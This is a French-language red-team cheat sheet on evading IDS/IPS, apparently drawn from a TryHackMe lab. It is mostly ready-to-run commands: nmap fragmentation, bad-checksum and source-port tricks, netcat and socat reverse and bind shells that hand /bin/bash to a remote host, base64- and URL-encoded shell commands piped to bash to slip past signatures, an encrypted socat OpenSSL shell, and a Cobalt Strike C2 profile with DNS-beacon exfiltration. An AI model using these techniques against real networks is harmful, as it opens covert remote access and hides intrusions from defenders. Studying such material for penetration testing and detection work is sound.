🔥IPS / IDS evasion

💻 Protocol evasion - Nmap et Ncat/Socat
1. Changer de Protocole
L'IDS/IPS peut bloquer certains protocoles mais en autoriser d'autres. Par exemple, utiliser UDP au lieu de TCP.
Exemple :
# Écouter en utilisant UDP
ncat -ulvnp 53
# Se connecter en utilisant UDP
ncat -u Attack_ip 53
2. Manipuler le Port Source TCP/UDP
Modifier les ports source pour faire ressembler le trafic à un autre type de service.
Exemple :
Pour faire ressembler le trafic de scan à une connexion HTTP (port 80), vous pouvez utiliser l'option -g
ou --source-port
suivie du numéro de port.
# Scannage TCP en utilisant le port source 80 (HTTP)
nmap -sS -Pn -g 80 -F 10.10.94.252
# Scannage UDP en utilisant le port source 53 (DNS)
nmap -sU -Pn -g 53 -F 10.10.94.252
3. Fragmentation des Paquets (Session Splicing)
Diviser les paquets en plus petits fragments pour éviter la détection par IDS.
Exemple :
# Fragmenter les paquets IP en morceaux de 8 octets
nmap -f TARGET_IP
# Fragmenter les paquets IP en morceaux de 16 octets
nmap -ff TARGET_IP
# Utiliser une taille de MTU personnalisée (multiple de 8)
nmap --mtu 24 TARGET_IP
4. Envoyer des Paquets Invalides
Utiliser des paquets avec des sommes de contrôle incorrectes ou des drapeaux TCP invalides.
Un paquet avec une somme de contrôle incorrecte peut être ignoré par certains IDS/IPS, ce qui permet au paquet de traverser sans être inspecté.
Exemple :
# Envoyer des paquets avec une mauvaise somme de contrôle TCP/UDP
nmap --badsum TARGET_IP
# Envoyer des paquets avec des drapeaux TCP
nmap --scanflags URGACK TARGET_IP
Éviter les signatures
Ajoutez simplement des données inutiles aux paquets pour éviter la signature IPS/IDS..
Option Nmap: --data-length 25
🖊️ Exemple d'Utilisation de Fragroute
Fragroute est un outil qui permet de manipuler et de fragmenter des paquets IP en transit selon des règles définies par l'utilisateur. Cela peut être utilisé pour échapper à la détection par IDS/IPS en fragmentant les paquets de manière à ce qu'ils ne correspondent pas aux signatures de détection courantes.
Fichier de configuration (fragroute.conf) :
ip_frag 16
Commande :
fragroute -f fragroute.conf HOST
Ces exemples illustrent comment vous pouvez utiliser nmap et ncat/socat pour échapper à la détection par IDS/IPS en utilisant divers protocoles, en manipulant les ports, en fragmentant les paquets, et en envoyant des paquets invalides.
📝 Payload evasion - netcat - socat
Evasion de Payload - Netcat (ncat)
Ecouter avec Netcat
ncat -lvnp 1234 -e /bin/bash # sur l'attaquant nc [attack-IP] 4444 -e /bin/bash #Sur la cible pour etablir la connection
Configure ncat pour écouter les connexions entrantes sur le port 1234 et ouvrir un shell Bash dès qu'une connexion est établie.
Cette commande peut être détecté !
🗒️ Encodage Base64
Pour encoder cette commande en Base64, utilisez la commande suivante :
echo "ncat -lvnp 1234 -e /bin/bash" | base64
Le résultat sera quelque chose comme bmNhdCAtbHZucCAxMjM0IC1lIC9iaW4vYmFzaA==
.
Décodage et Exécution
echo "bmNhdCAtbHZucCAxMjM0IC1lIC9iaW4vYmFzaA==" | base64 -d | bash
🗒️ Encodage URL
Pour encoder cette commande en URL, utilisez un outil comme urlencode
:
urlencode "ncat -lvnp 1234 -e /bin/bash"
Le résultat sera quelque chose comme ncat%20-lvnp%201234%20-e%20%2Fbin%2Fbash
.
Décodage et Exécution
Décoder et exécuter la commande encodée en URL dépendra de l'outil utilisé pour l'encodage. Si vous utilisez urlencode
, vous pouvez décoder de cette manière :
urlencode -d "ncat%20-lvnp%201234%20-e%20%2Fbin%2Fbash" | bash
Chiffrement du Canal de Communication
Générer des clés avec OpenSSL
openssl req -x509 -newkey rsa:4096 -days 365 -subj '/CN=www.redteam.thm/O=Red Team THM/C=UK' -nodes -keyout thm-reverse.key -out thm-reverse.crt
Génère une paire de clés SSL pour le chiffrement.
Concaténer les clés en un fichier PEM
cat thm-reverse.key thm-reverse.crt > thm-reverse.pem
Crée un fichier PEM contenant les clés privée et publique.
Utiliser socat avec OpenSSL
socat -d -d OPENSSL-LISTEN:4443,cert=thm-reverse.pem,verify=0,fork STDOUT
Ecoute sur le port 4443 avec OpenSSL pour une communication chiffrée.
Réalisation sur la machine cible
socat OPENSSL:10.20.30.1:4443,verify=0 EXEC:/bin/bash
Se connecte à l'adresse IP 10.20.30.1 sur le port 4443 avec OpenSSL, exécutant
/bin/bash
sur la machine cible.
🗂️ Route evasion - nmap
📝 Relying on Source Routing
Utilisation du routage source pour forcer les paquets à emprunter un chemin spécifique vers leur destination.
Loose Routing (Routage lâche) : Utilisé avec l'option --ip-options "L" de Nmap.
nmap --ip-options "L 10.10.10.50 10.10.50.250" <cible>
Spécifie que les paquets de scan passent par les adresses IP fournies avant d'atteindre la cible.
Strict Routing (Routage strict) : Utilisé avec l'option --ip-options "S" de Nmap.
nmap --ip-options "S 10.10.10.1 10.10.20.2 10.10.30.3" <cible>
Spécifie des sauts précis que les paquets doivent suivre avant d'atteindre la cible.
📝 Using Proxy Servers
Utilisation de serveurs proxy pour masquer l'origine des requêtes.
Syntaxe de Nmap pour les Proxies : Utilisez --proxies avec une liste d'URL de proxy séparées par des virgules.
nmap -sS HTTP://PROXY_HOST1:8080,SOCKS4://PROXY_HOST2:4153 <cible>
Définit que l'analyse Nmap doit transiter par le proxy HTTP à PROXY_HOST1, puis par le proxy SOCKS4 à PROXY_HOST2, avant d'atteindre la cible.
Considérations :
Le choix d'un proxy fiable nécessite des essais pour s'assurer de la capacité à masquer l'origine de l'analyse Nmap.
L'authentification n'est pas supportée par ces proxies dans Nmap actuellement.
💻 Personnalisation des Profils de C2
Les profils personnalisés permettent de modifier les paramètres tels que le User-Agent, le temps de sommeil (sleep time), et le jitter pour rendre les communications C2 (Command and Control) moins détectables par les systèmes de détection d'intrusion (IDS) et de prévention (IPS). En évitant les configurations par défaut, qui sont souvent plus facilement repérées, les attaquants peuvent mieux se fondre dans le trafic réseau normal.
User-Agent
Description : Chaîne d'identification de l'outil utilisé pour les communications C2.
Mise en œuvre : Configurer l'agent utilisateur pour ressembler à des navigateurs ou services courants.
Temps de Sommeil
Description : Intervalle entre les vérifications de rappel vers le serveur C2.
Objectif : Contrôler la fréquence des communications pour ajuster les modèles de trafic réseau.
Mise en œuvre : Ajuster le temps de sommeil pour maintenir la discrétion tout en répondant aux commandes C2.
Jitter
Description : Introduit une variabilité aléatoire dans le temps de sommeil.
Objectif : Rendre les horaires de rappel imprévisibles pour compliquer l'analyse des modèles de trafic.
Mise en œuvre : Spécifier un pourcentage de jitter (par exemple, ±30%) pour varier l'intervalle de sommeil.
Certificat SSL
Description : Utilisation d'un certificat SSL personnalisé pour les communications chiffrées.
Objectif : Améliorer l'authenticité et réduire la probabilité de détection par inspection SSL.
Mise en œuvre : Installer un certificat SSL qui semble légitime pour masquer les communications C2 comme du trafic HTTPS authentique.
Beacon DNS
Description : Utilisation du protocole DNS pour l'exfiltration de données.
Objectif : Contourner les défenses réseau en cachant des données dans les requêtes et réponses DNS.
Mise en œuvre : Configurer les serveurs DNS et spécifier le nom d'hôte dans les requêtes DNS pour transmettre les données exfiltrées de manière discrète.
Exemple de Profil Guideline CobaltStrike
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
set sleeptime "60"
set jitter "30"
set dns-beacon "dns.example.com"
set dns-tunnel-id "CBSTRIKE"
Conclusion
La personnalisation des profils de commande et contrôle dans les frameworks de pentesting permet d'améliorer l'évasion des systèmes IDS/IPS. Elle offre la flexibilité de modifier des paramètres tels que les chaînes d'agent utilisateur, les intervalles de rappel, les certificats SSL et les configurations DNS pour minimiser les risques de détection. Personnaliser ces profils garantit une adaptation aux environnements réseau variés et renforce la sécurité opérationnelle lors des engagements de test de pénétration.
📡 Tunneling de port distant -écoute
Par exemple, si vous avez un serveur web écoutant sur le port 80, mais que le pare-feu bloque le trafic vers ce port, vous pouvez utiliser le tunneling de port pour rediriger le trafic vers un autre port, tel que le port 8008, en utilisant la commande suivante
Cela peut être utile dans les cas où le trafic vers le port 25 est bloqué par un pare-feu, mais où le trafic vers le port 443 est autorisé.
ncat -lvnp 443 -c "ncat SERVEUR_WEB 25"

Sur la cible :
ncat -lvnp PORT_NUMBER -e /bin/bash
Sur l'attaquant :
ncat -vv IP-cible PORT_NUMBER
Last updated